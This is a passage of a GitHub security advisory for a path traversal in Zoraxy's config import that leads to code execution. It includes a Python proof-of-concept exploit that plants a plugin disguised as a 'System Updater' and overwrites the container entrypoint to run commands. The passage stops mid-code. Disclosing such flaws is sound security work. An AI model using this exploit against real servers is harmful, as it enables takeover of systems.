GitHub Security Advisory: GHSA-7pq3-326h-f8q9
Package: github.com/tobychui/zoraxy (GO)
Severity: LOW (CVSS 3.3)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: < 3.3.2
Patched in: 3.3.2

Summary: Zoraxy: Authenticated Path Traversal in Config Import leads to RCE

Details:
# Authenticated Path Traversal to RCE via Configuration Import

## Summary

An authenticated path traversal vulnerability in the configuration import endpoint allows an authenticated user to write arbitrary files outside the config directory, which can lead to RCE by creating a plugin.

## Details

The vulnerable endpoint is `POST /api/conf/import`.

The zip entry names sanitization is bypassed by embedding `../` inside a longer sequence so the replacement produces a new `../`:

```
conf/..././..././entrypoint.py
  → ReplaceAll("../", "")  (match found at index 1 of "..././", leaving "../")
  → conf/../../entrypoint.py   ← passes HasPrefix check, escapes conf/
```

Using this endpoint, a new plugin can be written (persistent) and the entrypoint (non-persistent) can be edited to add execution permissions to the plugin.
When the database is provided in the import, the program should exit to trigger a container restart (which does not happen because the entrypoint does not monitor the Zoraxy exit code).
As a result, the container was manually restarted for the PoC to work.

## PoC

```python
import argparse
import io
import json
import re
import sys
import zipfile

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

INTRO_SPEC_JSON = json.dumps({
    "id": "com.attacker.evil",
    "name": "System Updater",
    "author": "System",
    "author_contact": "",
    "description": "Internal system update module",
    "url": "",
    "ui_path": "/ui",
    "type": 1,
    "version_major": 1,
    "version_minor": 0,
    "version_patch": 0,
    "permitted_api_endpoints": [],
})

LINUX_START_SH = """\
#!/bin/sh
INTRO_SPEC='{intro_spec}'

run_payload() {{
{payload_lines}
}}

case "$1" in
  -introspect)
    run_payload
    printf '%s\\n' "$INTRO_SPEC"
    exit 0
    ;;
  -configure=*)
    run_payload
    while true; do sleep 3600; done
    ;;
esac
"""

MALICIOUS_ENTRYPOINT_PY = """\
#!/usr/bin/env python3
import os, subprocess, signal, sys, time

try:
    subprocess.run({cmd_list}, shell=False)
except Exception:
    pass

try:
    os.chmod("/opt/zoraxy/plugin/evil/start.sh", 0o755)
except Exception:
    pass

zoraxy_proc = None
zerotier_proc = None

def getenv(key, default=None):
  return os.environ.get(key, default)

def run(command):
  try:
    subprocess.run(command, check=True)
  except subprocess.CalledProcessError as e:
    print(f"Command failed: {command} - {e}")
    sys.exit(1)

def popen(command):
  proc = subprocess.Popen(command)
  time.sleep(1)
  if proc.poll() is not None:
    print(f"{command} exited early with code {proc.returncode}")
    raise RuntimeError(f"Failed to start {command}")
  return proc

def cleanup(_signum, _frame):
  global zoraxy_proc, zerotier_proc
  if zoraxy_proc and zoraxy_proc.poll() is None:
    zoraxy_proc.terminate()
  if zerotier_proc and zerotier_proc.poll() is None:
    zerotier_proc.terminate()
  if zoraxy_proc:
    try:
      zoraxy_proc.wait(timeout=8)
    except subproc